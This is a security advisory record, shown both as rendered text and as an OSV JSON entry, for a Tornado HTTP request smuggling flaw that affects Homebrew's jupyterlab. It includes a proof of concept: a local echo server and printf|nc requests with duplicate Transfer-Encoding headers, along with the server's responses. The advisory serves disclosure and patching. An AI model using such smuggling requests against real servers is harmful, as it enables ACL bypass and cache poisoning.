BREW-JUPYTERLAB-GHSA-753… (GHSA-753J-MPMX-QQ6G)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:01 – Updated: 2026-10-29 22:14 – Source websiteSummary
When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.
PoC
- Install Tornado.
- Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado
class MainHandler(tornado.web.RequestHandler):
def post(self):
self.write(self.request.body)
async def main():
tornado.web.Application([(r"/", MainHandler)]).listen(8000)
await asyncio.Event().wait()
asyncio.run(main())
EOF
python3 server.py &
- Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
- Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1
Z
- Send a request with two
Transfer-Encoding: chunkedheaders:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
- Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0
HTTP/1.1 400 Bad Request
This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.
Impact
Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "tornado",
"resource_purl": "pkg:pypi/tornado@6.6",
"upstream_fixed_in": "6.4.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "jupyterlab",
"purl": "pkg:brew/jupyterlab"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "4.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/tornado@6.6",
"name": "tornado",
"resource": "tornado",
"strategy": "registry",
"subject_version": "6.6"
}
]
},
"details": "### Summary\nWhen Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.\n\n### PoC\n0. Install Tornado.\n1. Start a simple Tornado server that echoes each received request\u0027s body:\n```bash\ncat \u003c\u003c EOF \u003e server.py\nimport asyncio\nimport tornado\n\nclass MainHandler(tornado.web.RequestHandler):\n def post(self):\n self.write(self.request.body)\n\nasync def main():\n tornado.web.Application([(r\"/\", MainHandler)]).listen(8000)\n await asyncio.Event().wait()\n\nasyncio.run(main())\nEOF\npython3 server.py \u0026\n```\n2. Send a valid chunked request:\n```bash\nprintf \u0027POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n\u0027 | nc localhost 8000\n```\n3. Observe that the response is as expected:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:32:05 GMT\nContent-Length: 1\n\nZ\n```\n4. Send a request with two `Transfer-Encoding: chunked` headers:\n```\nprintf \u0027POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n\u0027 | nc localhost 8000\n```\n5. Observe the strange response:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:35:40 GMT\nContent-Length: 0\n\nHTTP/1.1 400 Bad Request\n\n```\nThis is because Tornado believes that the request has no message body, so it tries to interpret `1\\r\\nZ\\r\\n0\\r\\n\\r\\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.\n\n### Impact\nAnyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.\n",
"id": "BREW-jupyterlab-GHSA-753j-mpmx-qq6g",
"modified": "2026-10-29T22:14:32Z",
"published": "2026-08-13T17:01:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/commit/d65f6e71a77f53a1ff0a0dc55704be13f04eb572"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027) in tornado",
"upstream": [
"GHSA-753j-mpmx-qq6g",
"CVE-2024-14029"
]
}
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